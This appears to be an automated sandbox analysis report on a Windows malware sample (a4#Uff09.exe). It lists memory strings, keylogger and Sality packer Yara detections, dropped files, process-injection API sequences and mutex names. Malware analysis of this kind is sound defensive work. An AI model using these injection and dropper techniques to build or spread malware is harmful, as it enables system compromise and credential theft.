Source: explorer.exe, 00000010.00000000.1363187859.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.3878250382.00000000071FC000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark
Source: explorer.exe, 00000010.00000000.1363187859.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.3878250382.00000000071FC000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13fcaT
Source: explorer.exe, 00000010.00000000.1363187859.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.3878250382.00000000071FC000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13fcaT-dark
Source: explorer.exe, 00000010.00000000.1376298824.000000000C091000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://excel.office.com
Source: StartMenuExperienceHost.exe, 00000019.00000000.1401199744.000001A446400000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://excel.office.comp
Source: SearchApp.exe, 0000001C.00000000.1500517177.000001F49D850000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://fb.me/react-polyfills
Source: SearchApp.exe, 0000001C.00000000.1486131362.000001F49B440000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://gcchigh.loki.office365.us/api
Source: SearchApp.exe, 0000001C.00000000.1533110422.000001F4AE269000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://gcchigh.loki.office365.us/api/v1/configuration/cortana
Source: svchost.exe, 0000000C.00000000.1330823226.0000018CE7243000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://global.notify.windows.com/v2/register/xplatform/device
Source: SearchApp.exe, 0000001C.00000000.1517867376.000001F49DC6C000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://graph.windows.net/
Source: SearchApp.exe, 0000001C.00000000.1557856758.000001F4AEA4A000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://graph.windows.net/https://substrate.office.comhttps://outlook.office.com/pZ
Source: explorer.exe, 00000010.00000000.1363187859.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.3878250382.00000000071FC000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA11f7Wa.img
Source: explorer.exe, 00000010.00000000.1363187859.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.3878250382.00000000071FC000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA15Yat4.img
Source: explorer.exe, 00000010.00000000.1363187859.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.3878250382.00000000071FC000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1bjET8.img
Source: explorer.exe, 00000010.00000000.1363187859.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.3878250382.00000000071FC000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1c9Jin.img
Source: explorer.exe, 00000010.00000000.1363187859.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.3878250382.00000000071FC000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBNvr53.img
Source: SearchApp.exe, 0000001C.00000000.1488207530.000001F49B6D7000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://login.live.com
Source: svchost.exe, 0000000C.00000000.1330952171.0000018CE72A9000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001C.00000000.1488207530.000001F49B6D7000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/
Source: svchost.exe, 0000000C.00000000.1330888653.0000018CE728E000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://login.windows.local/
Source: svchost.exe, 0000000C.00000000.1330888653.0000018CE728E000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://login.windows.localicy
Source: svchost.exe, 0000000C.00000000.1330952171.0000018CE72A9000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001C.00000000.1496640545.000001F49D27C000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://login.windows.net
Source: svchost.exe, 0000000C.00000000.1330952171.0000018CE72A9000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001C.00000000.1496640545.000001F49D27C000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://login.windows.net/
Source: SearchApp.exe, 0000001C.00000000.1533110422.000001F4AE269000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://loki.delve.office.com/api/v1/configuration/cortana
Source: SearchApp.exe, 0000001C.00000000.1486175230.000001F49B460000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://loki.delve.office.com/api33366b5b-54ef-48bf-819d-677748eae9e33B199897-A63E-44DC-BF20-DF6F6F2
Source: SearchApp.exe, 0000001C.00000000.1513168056.000001F49DA00000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://mths.be/fromcodepoint
Source: explorer.exe, 00000010.00000000.1376298824.000000000C091000.00000004.00000001.00020000.00000000.sdmp, StartMenuExperienceHost.exe, 00000019.00000000.1401343738.000001A4464C8000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://outlook.com
Source: SearchApp.exe, 0000001C.00000000.1558051041.000001F4AEA67000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://outlook.live.com/owahttps://outlook.office.com/owaCodexChatButtonUpperRight
Source: SearchApp.exe, 0000001C.00000000.1466177543.000001EC9A58B000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://outlook.office.com/
Source: SearchApp.exe, 0000001C.00000000.1466177543.000001EC9A58B000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://outlook.office.com/M365.Access
Source: SearchApp.exe, 0000001C.00000000.1466177543.000001EC9A58B000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://outlook.office.com/User.ReadWrite
Source: SearchApp.exe, 0000001C.00000000.1540651490.000001F4AE720000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://outlook.office.com/User.ReadWritej
Source: SearchApp.exe, 0000001C.00000000.1533110422.000001F4AE269000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://outlook.office365.com/mail/deeplink/attachment/
Source: explorer.exe, 00000010.00000000.1376298824.000000000C091000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://powerpoint.office.com
Source: StartMenuExperienceHost.exe, 00000019.00000000.1400414212.000001A4423E6000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://powerpoint.office.comcemberx
Source: SearchApp.exe, 0000001C.00000000.1500517177.000001F49D850000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://reactjs.org/docs/error-decoder.html?invariant=
Source: SearchApp.exe, 0000001C.00000000.1512906985.000001F49D9F8000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://searchapp.bundleassets.example/desktop/2.html
Source: SearchApp.exe, 0000001C.00000000.1493116660.000001F49BCBA000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/
Source: SearchApp.exe, 0000001C.00000000.1490357232.000001F49BA00000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001C.00000000.1513544477.000001F49DA23000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001C.00000000.1517867376.000001F49DC6C000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://substrate.office.com
Source: SearchApp.exe, 0000001C.00000000.1557856758.000001F4AEA3E000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://substrate.office.com/M365.Accesshttps://outlook.office.com/User.ReadWrite
Source: SearchApp.exe, 0000001C.00000000.1466177543.000001EC9A58B000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://substrate.office.com/api/v2.0/Users(
Source: SearchApp.exe, 0000001C.00000000.1466177543.000001EC9A58B000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://substrate.office.com/imageB2/v1.0/users/
Source: SearchApp.exe, 0000001C.00000000.1487055376.000001F49B590000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://substrate.office.com/search/api/v2/queryhttps://substrate.office365.us/search/api/v2/query
Source: SearchApp.exe, 0000001C.00000000.1466177543.000001EC9A58B000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://substrate.office365.us/api/v2.0/Users(
Source: SearchApp.exe, 0000001C.00000000.1466177543.000001EC9A58B000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://substrate.office365.us/imageB2/v1.0/users/
Source: a4#Uff09.exe, 00000000.00000002.3735613654.0000000000B07000.00000040.00000001.01000000.00000003.sdmp String found in binary or memory: https://upx.github.ioT
Source: SearchApp.exe, 0000001C.00000000.1447029679.000001EC93000000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://windows.msn.cn/shellRESP
Source: SearchApp.exe, 0000001C.00000000.1447029679.000001EC93000000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://windows.msn.com/shell
Source: explorer.exe, 00000010.00000000.1363187859.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.3878250382.00000000071FC000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 00000010.00000000.1363187859.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.3878250382.00000000071FC000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 00000010.00000000.1368434403.00000000090F2000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000003.2277407283.00000000090F2000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.4098690958.00000000090F2000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000003.3080612634.00000000090F2000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://wns.windows.com/
Source: explorer.exe, 00000010.00000000.1376298824.000000000C091000.00000004.00000001.00020000.00000000.sdmp, StartMenuExperienceHost.exe, 00000019.00000000.1401199744.000001A446400000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://word.office.com
Source: SearchApp.exe, 0000001C.00000000.1493216454.000001F49BD00000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.digicert.com/CPS0
Source: SearchApp.exe, 0000001C.00000000.1484022160.000001F49B262000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/de-ch/play/games/archery-king/cg-9n5gkc4t7lzz
Source: SearchApp.exe, 0000001C.00000000.1517867376.000001F49DC6C000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/de-ch/play/games/archery-king/cg-9n5gkc4t7lzz0
Source: SearchApp.exe, 0000001C.00000000.1517867376.000001F49DC6C000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/de-ch/play/games/basketball-frvr/cg-9npd4c9369l0
Source: SearchApp.exe, 0000001C.00000000.1484022160.000001F49B262000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001C.00000000.1517867376.000001F49DC6C000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/de-ch/play/games/bowling-hero/cg-9n4v2151rf31
Source: SearchApp.exe, 0000001C.00000000.1484022160.000001F49B262000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/de-ch/play/games/fairyland%3a-merge-%26-magic/cg-9nw8m0c50k4w
Source: SearchApp.exe, 0000001C.00000000.1484022160.000001F49B262000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001C.00000000.1517867376.000001F49DC6C000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/de-ch/play/games/food-tycoon-frvr/cg-9nf9144n6817
Source: SearchApp.exe, 0000001C.00000000.1484022160.000001F49B262000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/de-ch/play/games/master-chess/cg-9nrl2nj7l6s1
Source: SearchApp.exe, 0000001C.00000000.1517867376.000001F49DC6C000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/de-ch/play/games/master-chess/cg-9nrl2nj7l6s1F
Source: SearchApp.exe, 0000001C.00000000.1484022160.000001F49B262000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/de-ch/play?ocid=winpsearchboxexpcta2&cgfrom=cg_dsb_seeMore
Source: explorer.exe, 00000010.00000000.1363187859.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.3878250382.00000000071FC000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/lifestyle/lifestyle-buzz/what-to-do-if-a-worst-case-nuclear-scenario-actua
Source: explorer.exe, 00000010.00000000.1363187859.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.3878250382.00000000071FC000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/money/careersandeducation/student-loan-debt-forgiveness-arrives-for-some-b
Source: explorer.exe, 00000010.00000000.1363187859.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.3878250382.00000000071FC000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/money/markets/costco-is-seeing-a-gold-rush-what-s-behind-the-demand-for-it
Source: explorer.exe, 00000010.00000000.1363187859.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.3878250382.00000000071FC000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/money/realestate/why-this-florida-city-is-a-safe-haven-from-hurricanes/ar-
Source: explorer.exe, 00000010.00000000.1363187859.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.3878250382.00000000071FC000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/music/news/6-rock-ballads-that-tug-at-the-heartstrings/ar-AA1hIdsm
Source: explorer.exe, 00000010.00000000.1363187859.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.3878250382.00000000071FC000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/news/politics/kinzinger-has-theory-about-who-next-house-speaker-will-be/vi
Source: explorer.exe, 00000010.00000000.1363187859.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.3878250382.00000000071FC000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/news/technology/prehistoric-comet-impacted-earth-and-triggered-the-switch-
Source: explorer.exe, 00000010.00000000.1363187859.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.3878250382.00000000071FC000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/news/us/dumb-and-dumber-12-states-with-the-absolute-worst-education-in-the
Source: explorer.exe, 00000010.00000000.1363187859.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.3878250382.00000000071FC000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/sports/other/simone-biles-leads-u-s-women-s-team-to-seventh-straight-world
Source: explorer.exe, 00000010.00000000.1363187859.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.3878250382.00000000071FC000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/weather/topstories/accuweather-el-ni
Source: explorer.exe, 00000010.00000000.1363187859.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.3878250382.00000000071FC000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/weather/topstories/here-s-who-could-see-above-average-snowfall-this-winter
Source: explorer.exe, 00000010.00000000.1363187859.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.3878250382.00000000071FC000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/weather/topstories/us-winter-forecast-for-the-2023-2024-season/ar-AA1hGINt
Source: SearchApp.exe, 0000001C.00000000.1462904696.000001EC9A1D4000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/spartan/dhp_l
Source: SearchApp.exe, 0000001C.00000000.1462904696.000001EC9A1D4000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/spartan/mmxh
Source: SearchApp.exe, 0000001C.00000000.1462904696.000001EC9A1D4000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/spartan/ntp0N
Source: SearchApp.exe, 0000001C.00000000.1462904696.000001EC9A1D4000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/spartan/ntpI
Source: explorer.exe, 00000010.00000000.1363187859.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.3878250382.00000000071FC000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com:443/en-us/feed
Source: SearchApp.exe, 0000001C.00000000.1514229836.000001F49DAEF000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.ng.com
Source: explorer.exe, 00000010.00000000.1363187859.00000000071B2000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.pollensense.com/
Source: svchost.exe, 0000000C.00000000.1330952171.0000018CE72A9000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001C.00000000.1496640545.000001F49D27C000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://xsts.auth.xboxlive.com
Source: svchost.exe, 0000000C.00000000.1330952171.0000018CE72A9000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000001C.00000000.1496640545.000001F49D27C000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://xsts.auth.xboxlive.com/
Source: unknown Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49705
Yara detected Keylogger Generic
Source: Yara match File source: 0.2.a4#Uff09.exe.8d0302.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.a4#Uff09.exe.4967bc.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.a4#Uff09.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000000.00000002.3735613654.00000000008D0000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: a4#Uff09.exe PID: 7020, type: MEMORYSTR

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 0.2.a4#Uff09.exe.2a52300.11.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables packed with Sality Polymorphic Code Generator or Simple Poly Engine or Sality Author: ditekSHen
Source: 0.2.a4#Uff09.exe.2a525f4.12.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables packed with Sality Polymorphic Code Generator or Simple Poly Engine or Sality Author: ditekSHen
Source: 0.2.a4#Uff09.exe.29d0000.10.unpack, type: UNPACKEDPE Matched rule: Detects executables packed with Sality Polymorphic Code Generator or Simple Poly Engine or Sality Author: ditekSHen
Source: C:\ahcs.pif, type: DROPPED Matched rule: Detects executables packed with Sality Polymorphic Code Generator or Simple Poly Engine or Sality Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\vmgr.exe, type: DROPPED Matched rule: Detects executables packed with Sality Polymorphic Code Generator or Simple Poly Engine or Sality Author: ditekSHen
PE file contains section with special chars
Source: MyProg.exe.2.dr Static PE information: section name: Y|uR
PE file has a writeable .text section
Source: ahcs.pif.0.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: plgMeM.exe.0.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: vmgr.exe.0.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Abnormal high CPU Usage
Source: C:\Users\user\Desktop\a4#Uff09.exe Process Stats: CPU usage > 49%
Detected potential crypto function
Source: C:\Users\user\Desktop\a4#Uff09.exe Code function: 0_2_0047D0C6 0_2_0047D0C6
Source: C:\Users\user\Desktop\a4#Uff09.exe Code function: 0_2_029D9652 0_2_029D9652
Source: C:\Users\user\Desktop\a4#Uff09.exe Code function: 0_2_029D6A85 0_2_029D6A85
Source: C:\Users\user\Desktop\a4#Uff09.exe Code function: 0_2_029E22A0 0_2_029E22A0
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe Code function: 2_2_00DB6076 2_2_00DB6076
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe Code function: 2_2_00DB6D00 2_2_00DB6D00
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe F2DE2A37E6DFC90FFD0162EF11A7C9792850E37767B1E2C5AD28C751D18D750F
Source: Joe Sandbox View Dropped File: C:\Users\user\AppData\Local\Temp\plgMeM.exe 4354970CCC7CD6BB16318F132C34F6A1B3D5C2EA7FF53E1C9271905527F2DB07
One or more processes crash
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 320 -s 1592
PE file contains executable resources (Code or Archives)
Source: a4#Uff09.exe Static PE information: Resource name: RT_STRING type: COM executable for DOS
Source: MyProg.exe.2.dr Static PE information: Resource name: RT_VERSION type: MIPSEB-LE ECOFF executable not stripped - version 0.79
PE file contains more sections than normal
Source: msedge.exe.0.dr Static PE information: Number of sections : 14 > 10
Sample file is different than original file name gathered from version info
Source: a4#Uff09.exe Binary or memory string: OriginalFilename vs a4#Uff09.exe
Source: a4#Uff09.exe, 00000000.00000002.3735613654.0000000000BB6000.00000040.00000001.01000000.00000003.sdmp Binary or memory string: OriginalFilename_R2{vU_hV6R\O vs a4#Uff09.exe
Source: a4#Uff09.exe, 00000000.00000002.3735613654.0000000000AF9000.00000040.00000001.01000000.00000003.sdmp Binary or memory string: \StringFileInfo\%s\OriginalFilename vs a4#Uff09.exe
Source: a4#Uff09.exe, 00000000.00000002.3735613654.0000000000AF9000.00000040.00000001.01000000.00000003.sdmp Binary or memory string: GlobalMemoryStatusExKernel32.dllx86 Family %s Model %s Stepping %s%08X-%08X-%08X-%08X\StringFileInfo\%s\Comments\StringFileInfo\%s\ProductVersion\StringFileInfo\%s\ProductName\StringFileInfo\%s\OriginalFilename\StringFileInfo\%s\LegalTrademarks\StringFileInfo\%s\LegalCopyright\StringFileInfo\%s\InternalName\StringFileInfo\%s\FileDescription\StringFileInfo\%s\CompanyName%s\StringFileInfo\%s\FileVersion040904E4000%x, \VarFileInfo\TranslationopenMicrosoft Internet Explorer vs a4#Uff09.exe
Source: a4#Uff09.exe, 00000000.00000002.3735613654.0000000000B07000.00000040.00000001.01000000.00000003.sdmp Binary or memory string: OriginalFilename_R2{vU_hV12 vs a4#Uff09.exe
Source: a4#Uff09.exe, 00000000.00000002.3735613654.0000000000B07000.00000040.00000001.01000000.00000003.sdmp Binary or memory string: VALUE "OriginalFilename", " vs a4#Uff09.exe
Source: a4#Uff09.exe, 00000000.00000002.3735613654.0000000000B07000.00000040.00000001.01000000.00000003.sdmp Binary or memory string: OriginalFilenameupx.exe( vs a4#Uff09.exe
Source: a4#Uff09.exe, 00000000.00000002.3735613654.00000000008D0000.00000040.00000001.01000000.00000003.sdmp Binary or memory string: OriginalFilenamebszip.dll" vs a4#Uff09.exe
Uses 32bit PE files
Source: a4#Uff09.exe Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
Yara signature match
Source: 0.2.a4#Uff09.exe.2a52300.11.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_EXE_Packed_SimplePolyEngine author = ditekSHen, description = Detects executables packed with Sality Polymorphic Code Generator or Simple Poly Engine or Sality
Source: 0.2.a4#Uff09.exe.2a525f4.12.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_EXE_Packed_SimplePolyEngine author = ditekSHen, description = Detects executables packed with Sality Polymorphic Code Generator or Simple Poly Engine or Sality
Source: 0.2.a4#Uff09.exe.29d0000.10.unpack, type: UNPACKEDPE Matched rule: INDICATOR_EXE_Packed_SimplePolyEngine author = ditekSHen, description = Detects executables packed with Sality Polymorphic Code Generator or Simple Poly Engine or Sality
Source: C:\ahcs.pif, type: DROPPED Matched rule: INDICATOR_EXE_Packed_SimplePolyEngine author = ditekSHen, description = Detects executables packed with Sality Polymorphic Code Generator or Simple Poly Engine or Sality
Source: C:\Users\user\AppData\Local\Temp\vmgr.exe, type: DROPPED Matched rule: INDICATOR_EXE_Packed_SimplePolyEngine author = ditekSHen, description = Detects executables packed with Sality Polymorphic Code Generator or Simple Poly Engine or Sality
Source: plgMeM.exe.0.dr Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ahcs.pif.0.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: plgMeM.exe.0.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: vmgr.exe.0.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ahcs.pif.0.dr Static PE information: Section .text
Source: vmgr.exe.0.dr Static PE information: Section .text
Source: plgMeM.exe.0.dr Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESERVED size: 0x100000 address: 0x0
Source: classification engine Classification label: mal100.spre.troj.evad.winEXE@10/136@113/6
Source: C:\Users\user\Desktop\a4#Uff09.exe Code function: 0_2_029DCC92 OpenProcess,GetLastError,GetVersionExA,GetCurrentThread,OpenThreadToken,GetLastError,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,GetLastError,CloseHandle,OpenProcess,AdjustTokenPrivileges,CloseHandle,OpenProcessToken,GetTokenInformation,GetLastError,GetProcessHeap,RtlAllocateHeap,GetTokenInformation,LookupAccountSidA,lstrcmpiA,lstrcmpiA,lstrcmpiA,CreateMutexA,VirtualAllocEx,WriteProcessMemory,CreateRemoteThread,VirtualAllocEx,lstrlen,WriteProcessMemory,CreateRemoteThread,FindCloseChangeNotification,CloseHandle,GetProcessHeap,HeapFree, 0_2_029DCC92
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe Code function: 2_2_00DB119F GetCurrentProcess,OpenProcessToken,AdjustTokenPrivileges,CloseHandle,CloseHandle, 2_2_00DB119F
Source: C:\Users\user\Desktop\a4#Uff09.exe Code function: 0_2_029DD2B0 CreateToolhelp32Snapshot,Process32First,lstrlen,lstrcpyn,lstrcpy,CharLowerA,lstrlen,wsprintfA,CreateMutexA,GetLastError,ReleaseMutex,CloseHandle,Process32Next,lstrlen,lstrcpyn,lstrcpy,CharLowerA,lstrlen,wsprintfA,CreateMutexA,GetLastError,ReleaseMutex,CloseHandle,CloseHandle, 0_2_029DD2B0
Source: C:\Users\user\AppData\Local\Temp\plgMeM.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\k1[1].rar Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_2572_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\svchost.exeM_7392_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\csrss.exeM_412_
Source: C:\Users\user\Desktop\a4#Uff09.exe Mutant created: \Sessions\1\BaseNamedObjects\wqtaukqfvmjzfh.exeM_4536_
